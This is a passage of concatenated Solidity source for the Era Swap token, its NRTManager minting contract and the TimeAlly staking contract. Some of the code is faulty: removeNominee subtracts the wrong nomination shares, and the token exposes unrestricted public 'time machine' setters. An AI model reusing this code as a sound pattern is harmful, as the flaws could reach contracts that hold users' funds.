/// @notice this function is used to remove nomination of a address
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
function removeNominee(uint256 _stakingId, address _nomineeAddress) public {
require(stakings[msg.sender][_stakingId].status == 1, 'staking should active');
uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[msg.sender];
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = 0;
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_oldShares);
}
/// @notice this function is used by nominee to withdraw their share of a staking after 1 year of the end of tenure of staking
/// @param _userAddress - address of user
/// @param _stakingId - staking id
function nomineeWithdraw(address _userAddress, uint256 _stakingId) public {
// end time stamp > 0
uint256 currentTime = now;
require( currentTime > (stakings[_userAddress][_stakingId].timestamp
+ stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months * earthSecondsInMonth
+ 12 * earthSecondsInMonth )
// , 'cannot nominee withdraw before '
);
uint256 _nomineeShares = stakings[_userAddress][_stakingId].nomination[msg.sender];
require(_nomineeShares > 0
// , 'Not a nominee of this staking'
);
//uint256 _totalShares = ;
// set staking to nomination mode if it isn't.
if(stakings[_userAddress][_stakingId].status != 5) {
stakings[_userAddress][_stakingId].status = 5;
}
// adding principal account
uint256 _pendingLiquidAmountInStaking = stakings[_userAddress][_stakingId].exaEsAmount;
uint256 _pendingAccruedAmountInStaking;
// uint256 _stakingStartMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 _stakeEndMonth = stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months;
// adding monthly benefits which are not claimed
for(
uint256 i = stakings[_userAddress][_stakingId].stakingMonth; //_stakingStartMonth;
i < _stakeEndMonth;
i++
) {
if( stakings[_userAddress][_stakingId].isMonthClaimed[i] ) {
uint256 _effectiveAmount = stakings[_userAddress][_stakingId].exaEsAmount
.mul(stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15)
.div(15);
uint256 _monthlyBenefit = _effectiveAmount
.mul(timeAllyMonthlyNRT[i])
.div(totalActiveStakings[i]);
_pendingLiquidAmountInStaking = _pendingLiquidAmountInStaking.add(_monthlyBenefit.div(2));
_pendingAccruedAmountInStaking = _pendingAccruedAmountInStaking.add(_monthlyBenefit.div(2));
}
}
// now we have _pendingLiquidAmountInStaking && _pendingAccruedAmountInStaking
// on which user's share will be calculated and sent
// marking nominee as claimed by removing his shares
stakings[_userAddress][_stakingId].nomination[msg.sender] = 0;
uint256 _nomineeLiquidShare = _pendingLiquidAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
token.transfer(msg.sender, _nomineeLiquidShare);
uint256 _nomineeAccruedShare = _pendingAccruedAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
launchReward[msg.sender] = launchReward[msg.sender].add(_nomineeAccruedShare);
// emit a event
emit NomineeWithdraw(_userAddress, _stakingId, msg.sender, _nomineeLiquidShare, _nomineeAccruedShare);
}
}
pragma solidity ^0.5.2;
import "./ERC20Capped.sol";
import "./ERC20Burnable.sol";
import "./ERC20Detailed.sol";
import "./ERC20Pausable.sol";
contract Eraswap is ERC20Detailed,ERC20Burnable,ERC20Capped,ERC20Pausable {
event NRTManagerAdded(address NRTManager);
constructor()
public
ERC20Detailed ("Era Swap", "ES", 18) ERC20Capped(9100000000000000000000000000) {
mint(msg.sender, 910000000000000000000000000);
}
int256 public timeMachineDepth;
// gives the time machine time
function mou() public view returns(uint256) {
if(timeMachineDepth < 0) {
return now - uint256(timeMachineDepth);
} else {
return now + uint256(timeMachineDepth);
}
}
// sets the time machine depth
function setTimeMachineDepth(int256 _timeMachineDepth) public {
timeMachineDepth = _timeMachineDepth;
}
function goToFuture(uint256 _seconds) public {
timeMachineDepth += int256(_seconds);
}
function goToPast(uint256 _seconds) public {
timeMachineDepth -= int256(_seconds);
}
/**
* @dev Function to add NRT Manager to have minting rights
* It will transfer the minting rights to NRTManager and revokes it from existing minter
* @param NRTManager Address of NRT Manager C ontract
*/
function AddNRTManager(address NRTManager) public onlyMinter returns (bool) {
addMinter(NRTManager);
addPauser(NRTManager);
renounceMinter();
renouncePauser();
emit NRTManagerAdded(NRTManager);
return true;
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.2;
import "./ERC20Mintable.sol";
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./MinterRole.sol";
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./Pausable.sol";
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.2;
import "./Eraswap.sol";
import "./TimeAlly.sol";
contract NRTManager {
using SafeMath for uint256;
uint256 public lastNRTRelease; // variable to store last release date
uint256 public monthlyNRTAmount; // variable to store Monthly NRT amount to be released
uint256 public annualNRTAmount; // variable to store Annual NRT amount to be released
uint256 public monthCount; // variable to store the count of months from the intial date
uint256 public luckPoolBal; // Luckpool Balance
uint256 public burnTokenBal; // tokens to be burned
Eraswap token;
address Owner;
//Eraswap public eraswapToken;
// different pool address
address public newTalentsAndPartnerships = 0xb4024468D052B36b6904a47541dDE69E44594607;
address public platformMaintenance = 0x922a2d6B0B2A24779B0623452AdB28233B456D9c;
address public marketingAndRNR = 0xDFBC0aE48f3DAb5b0A1B154849Ee963430AA0c3E;
address public kmPards = 0x4881964ac9AD9480585425716A8708f0EE66DA88;
address public contingencyFunds = 0xF4E731a107D7FFb2785f696543dE8BF6EB558167;
address public researchAndDevelopment = 0xb209B4cec04cE9C0E1Fa741dE0a8566bf70aDbe9;
address public powerToken = 0xbc24BfAC401860ce536aeF9dE10EF0104b09f657;
address public timeSwappers = 0x4b65109E11CF0Ff8fA58A7122a5E84e397C6Ceb8; // which include powerToken , curators ,timeTraders , daySwappers
address public timeAlly; //address of timeAlly Contract
uint256 public newTalentsAndPartnershipsBal; // variable to store last NRT released to the address;
uint256 public platformMaintenanceBal; // variable to store last NRT released to the address;
uint256 public marketingAndRNRBal; // variable to store last NRT released to the address;
uint256 public kmPardsBal; // variable to store last NRT released to the address;
uint256 public contingencyFundsBal; // variable to store last NRT released to the address;
uint256 public researchAndDevelopmentBal; // variable to store last NRT released to the address;
uint256 public powerTokenNRT; // variable to store last NRT released to the address;
uint256 public timeAllyNRT; // variable to store last NRT released to the address;
uint256 public timeSwappersNRT; // variable to store last NRT released to the address;
// Event to watch NRT distribution
// @param NRTReleased The amount of NRT released in the month
event NRTDistributed(uint256 NRTReleased);
/**
* Event to watch Transfer of NRT to different Pool
* @param pool - The pool name
* @param sendAddress - The address of pool
* @param value - The value of NRT released
**/
event NRTTransfer(string pool, address sendAddress, uint256 value);
// Event to watch Tokens Burned
// @param amount The amount burned
event TokensBurned(uint256 amount);
/**
* Event to watch the addition of pool address
* @param pool - The pool name
* @param sendAddress - The address of pool
**/
event PoolAddressAdded(string pool, address sendAddress);
// Event to watch LuckPool Updation
// @param luckPoolBal The current luckPoolBal
event LuckPoolUpdated(uint256 luckPoolBal);
// Event to watch BurnTokenBal Updation
// @param burnTokenBal The current burnTokenBal
event BurnTokenBalUpdated(uint256 burnTokenBal);
/**
* @dev Throws if caller is not timeAlly
*/
modifier OnlyAllowed() {
require(msg.sender == timeAlly || msg.sender == timeSwappers,"Only TimeAlly and Timeswapper is authorised");
_;
}
/**
* @dev Throws if caller is not owner
*/
modifier OnlyOwner() {
require(msg.sender == Owner,"Only Owner is authorised");
_;
}
/**
* @dev Should burn tokens according to the total circulation
* @return true if success
*/
function burnTokens() internal returns (bool){
if(burnTokenBal == 0){
return true;
}
else{
uint MaxAmount = ((token.totalSupply()).mul(2)).div(100); // max amount permitted to burn in a month
if(MaxAmount >= burnTokenBal ){
token.burn(burnTokenBal);
burnTokenBal = 0;
}
else{
burnTokenBal = burnTokenBal.sub(MaxAmount);
token.burn(MaxAmount);
}
return true;
}
}
/**
* @dev To update pool addresses
* @param pool - A List of pool addresses
* Updates if pool address is not already set and if given address is not zero
* @return true if success
*/
function UpdateAddresses (address[9] calldata pool) external OnlyOwner returns(bool){
if((pool[0] != address(0)) && (newTalentsAndPartnerships == address(0))){
newTalentsAndPartnerships = pool[0];
emit PoolAddressAdded( "NewTalentsAndPartnerships", newTalentsAndPartnerships);
}
if((pool[1] != address(0)) && (platformMaintenance == address(0))){
platformMaintenance = pool[1];
emit PoolAddressAdded( "PlatformMaintenance", platformMaintenance);
}
if((pool[2] != address(0)) && (marketingAndRNR == address(0))){
marketingAndRNR = pool[2];
emit PoolAddressAdded( "MarketingAndRNR", marketingAndRNR);
}
if((pool[3] != address(0)) && (kmPards == address(0))){
kmPards = pool[3];
emit PoolAddressAdded( "KmPards", kmPards);
}
if((pool[4] != address(0)) && (contingencyFunds == address(0))){
contingencyFunds = pool[4];
emit PoolAddressAdded( "ContingencyFunds", contingencyFunds);
}
if((pool[5] != address(0)) && (researchAndDevelopment == address(0))){
researchAndDevelopment = pool[5];
emit PoolAddressAdded( "ResearchAndDevelopment", researchAndDevelopment);
}
if((pool[6] != address(0)) && (powerToken == address(0))){
powerToken = pool[6];
emit PoolAddressAdded( "PowerToken", powerToken);
}
if((pool[7] != address(0)) && (timeSwappers == address(0))){
timeSwappers = pool[7];
emit PoolAddressAdded( "TimeSwapper", timeSwappers);
}
if((pool[8] != address(0)) && (timeAlly == address(0))){
timeAlly = pool[8];
emit PoolAddressAdded( "TimeAlly", timeAlly);
}
return true;
}
/**
* @dev Function to update luckpool balance
* @param amount Amount to be updated
*/
function UpdateLuckpool(uint256 amount) external OnlyAllowed returns(bool){
luckPoolBal = luckPoolBal.add(amount);
emit LuckPoolUpdated(luckPoolBal);
return true;
}
/**
* @dev Function to trigger to update for burning of tokens
* @param amount Amount to be updated
*/
function UpdateBurnBal(uint256 amount) external OnlyAllowed returns(bool){
burnTokenBal = burnTokenBal.add(amount);
emit BurnTokenBalUpdated(burnTokenBal);
return true;
}
/**
* @dev To invoke monthly release
* @return true if success
*/
function MonthlyNRTRelease() external returns (bool) {
require(now.sub(lastNRTRelease)> 2629744,"NRT release happens once every month");
uint256 NRTBal = monthlyNRTAmount.add(luckPoolBal); // Total NRT available.
// Calculating NRT to be released to each of the pools
newTalentsAndPartnershipsBal = (NRTBal.mul(5)).div(100);
platformMaintenanceBal = (NRTBal.mul(10)).div(100);
marketingAndRNRBal = (NRTBal.mul(10)).div(100);
kmPardsBal = (NRTBal.mul(10)).div(100);
contingencyFundsBal = (NRTBal.mul(10)).div(100);
researchAndDevelopmentBal = (NRTBal.mul(5)).div(100);
powerTokenNRT = (NRTBal.mul(10)).div(100);
timeAllyNRT = (NRTBal.mul(15)).div(100);
timeSwappersNRT = (NRTBal.mul(25)).div(100);
// sending tokens to respective wallets and emitting events
token.mint(newTalentsAndPartnerships,newTalentsAndPartnershipsBal);
emit NRTTransfer("newTalentsAndPartnerships", newTalentsAndPartnerships, newTalentsAndPartnershipsBal);
token.mint(platformMaintenance,platformMaintenanceBal);
emit NRTTransfer("platformMaintenance", platformMaintenance, platformMaintenanceBal);
token.mint(marketingAndRNR,marketingAndRNRBal);
emit NRTTransfer("marketingAndRNR", marketingAndRNR, marketingAndRNRBal);
token.mint(kmPards,kmPardsBal);
emit NRTTransfer("kmPards", kmPards, kmPardsBal);
token.mint(contingencyFunds,contingencyFundsBal);
emit NRTTransfer("contingencyFunds", contingencyFunds, contingencyFundsBal);
token.mint(researchAndDevelopment,researchAndDevelopmentBal);
emit NRTTransfer("researchAndDevelopment", researchAndDevelopment, researchAndDevelopmentBal);
token.mint(powerToken,powerTokenNRT);
emit NRTTransfer("powerToken", powerToken, powerTokenNRT);
token.mint(timeAlly,timeAllyNRT);
TimeAlly timeAllyContract = TimeAlly(timeAlly);
timeAllyContract.increaseMonth(timeAllyNRT);
emit NRTTransfer("stakingContract", timeAlly, timeAllyNRT);
token.mint(timeSwappers,timeSwappersNRT);
emit NRTTransfer("timeSwappers", timeSwappers, timeSwappersNRT);
// Reseting NRT
emit NRTDistributed(NRTBal);
luckPoolBal = 0;
lastNRTRelease = lastNRTRelease.add(2629744); // @dev adding seconds according to 1 Year = 365.242 days
burnTokens(); // burning burnTokenBal
emit TokensBurned(burnTokenBal);
if(monthCount == 11){
monthCount = 0;
annualNRTAmount = (annualNRTAmount.mul(90)).div(100);
monthlyNRTAmount = annualNRTAmount.div(12);
}
else{
monthCount = monthCount.add(1);
}
return true;
}
/**
* @dev Constructor
*/
constructor(address eraswaptoken) public{
token = Eraswap(eraswaptoken);
lastNRTRelease = now;
annualNRTAmount = 819000000000000000000000000;
monthlyNRTAmount = annualNRTAmount.div(uint256(12));
monthCount = 0;
Owner = msg.sender;
}
}
pragma solidity ^0.5.2;
import "./PauserRole.sol";
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.5.10;
import './SafeMath.sol';
import './Eraswap.sol';
import './NRTManager.sol';
/*
Potential bugs: this contract is designed assuming NRT Release will happen every month.
There might be issues when the NRT scheduled
- added stakingMonth property in Staking struct
fix withdraw fractionFrom15 luck pool
- done
add loanactive contition to take loan
- done
ensure stakingMonth in the struct is being used every where instead of calculation
- done
remove local variables uncesessary
final the earthSecondsInMonth amount in TimeAlly as well in NRT
add events for required functions
*/
/// @author The EraSwap Team
/// @title TimeAlly Smart Contract
/// @dev all require statement message strings are commented to make contract deployable by lower the deploying gas fee
contract TimeAlly {
using SafeMath for uint256;
struct Staking {
uint256 exaEsAmount;
uint256 timestamp;
uint256 stakingMonth;
uint256 stakingPlanId;
uint256 status; /// @dev 1 => active; 2 => loaned; 3 => withdrawed; 4 => cancelled; 5 => nomination mode
uint256 loanId;
uint256 totalNominationShares;
mapping (uint256 => bool) isMonthClaimed;
mapping (address => uint256) nomination;
}
struct StakingPlan {
uint256 months;
uint256 fractionFrom15; /// @dev fraction of NRT released. Alotted to TimeAlly is 15% of NRT
// bool isPlanActive; /// @dev when plan is inactive, new stakings must not be able to select this plan. Old stakings which already selected this plan will continue themselves as per plan.
bool isUrgentLoanAllowed; /// @dev if urgent loan is not allowed then staker can take loan only after 75% (hard coded) of staking months
}
struct Loan {
uint256 exaEsAmount;
uint256 timestamp;
uint256 loanPlanId;
uint256 status; // @dev 1 => not repayed yet; 2 => repayed
uint256[] stakingIds;
}
struct LoanPlan {
uint256 loanMonths;
uint256 loanRate; // @dev amount of charge to pay, this will be sent to luck pool
uint256 maxLoanAmountPercent; /// @dev max loan user can take depends on this percent of the plan and the stakings user wishes to put for the loan
}
uint256 public deployedTimestamp;
address public owner;
Eraswap public token;
NRTManager public nrtManager;
/// @dev 1 Year = 365.242 days for taking care of leap years
uint256 public earthSecondsInMonth = 2629744;
// uint256 earthSecondsInMonth = 30 * 12 * 60 * 60; /// @dev there was a decision for following 360 day year
StakingPlan[] public stakingPlans;
LoanPlan[] public loanPlans;
// user activity details:
mapping(address => Staking[]) public stakings;
mapping(address => Loan[]) public loans;
mapping(address => uint256) public launchReward;
/// @dev TimeAlly month to exaEsAmount mapping.
mapping (uint256 => uint256) public totalActiveStakings;
/// @notice NRT being received from NRT Manager every month is stored in this array
/// @dev current month is the length of this array
uint256[] public timeAllyMonthlyNRT;
event NewStaking (
address indexed _userAddress,
uint256 indexed _stakePlanId,
uint256 _exaEsAmount,
uint256 _stakingId
);
event PrincipalWithdrawl (
address indexed _userAddress,
uint256 _stakingId
);
event NomineeNew (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress
);
event NomineeWithdraw (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress,
uint256 _liquid,
uint256 _accrued
);
event BenefitWithdrawl (
address indexed _userAddress,
uint256 _stakingId,
uint256[] _months,
uint256 _halfBenefit
);
event NewLoan (
address indexed _userAddress,
uint256 indexed _loanPlanId,
uint256 _exaEsAmount,
uint256 _loanInterest,
uint256 _loanId
);
event RepayLoan (
address indexed _userAddress,
uint256 _loanId
);
modifier onlyNRTManager() {
require(
msg.sender == address(nrtManager)
// , 'only NRT manager can call'
);
_;
}
modifier onlyOwner() {
require(
msg.sender == owner
// , 'only deployer can call'
);
_;
}
/// @notice sets up TimeAlly contract when deployed
/// @param _tokenAddress - is EraSwap contract address
/// @param _nrtAddress - is NRT Manager contract address
constructor(address _tokenAddress, address _nrtAddress) public {
owner = msg.sender;
token = Eraswap(_tokenAddress);
nrtManager = NRTManager(_nrtAddress);
deployedTimestamp = now;
timeAllyMonthlyNRT.push(0); /// @dev first month there is no NRT released
}
/// @notice this function is used by NRT manager to communicate NRT release to TimeAlly
function increaseMonth(uint256 _timeAllyNRT) public onlyNRTManager {
timeAllyMonthlyNRT.push(_timeAllyNRT);
}
/// @notice TimeAlly month is dependent on the monthly NRT release
/// @return current month is the TimeAlly month
function getCurrentMonth() public view returns (uint256) {
return timeAllyMonthlyNRT.length - 1;
}
/// @notice this function is used by owner to create plans for new stakings
/// @param _months - is number of staking months of a plan. for eg. 12 months
/// @param _fractionFrom15 - NRT fraction (max 15%) benefit to be given to user. rest is sent back to NRT in Luck Pool
/// @param _isUrgentLoanAllowed - if urgent loan is not allowed then staker can take loan only after 75% of time elapsed
function createStakingPlan(uint256 _months, uint256 _fractionFrom15, bool _isUrgentLoanAllowed) public onlyOwner {
stakingPlans.push(StakingPlan({
months: _months,
fractionFrom15: _fractionFrom15,
// isPlanActive: true,
isUrgentLoanAllowed: _isUrgentLoanAllowed
}));
}
/// @notice this function is used by owner to create plans for new loans
/// @param _loanMonths - number of months or duration of loan, loan taker must repay the loan before this period
/// @param _loanRate - this is total % of loaning amount charged while taking loan, this charge is sent to luckpool in NRT manager which ends up distributed back to the community again
function createLoanPlan(uint256 _loanMonths, uint256 _loanRate, uint256 _maxLoanAmountPercent) public onlyOwner {
require(_maxLoanAmountPercent <= 100
// , 'everyone should not be able to take loan more than 100 percent of their stakings'
);
loanPlans.push(LoanPlan({
loanMonths: _loanMonths,
loanRate: _loanRate,
maxLoanAmountPercent: _maxLoanAmountPercent
}));
}
/// @notice takes ES from user and locks it for a time according to plan selected by user
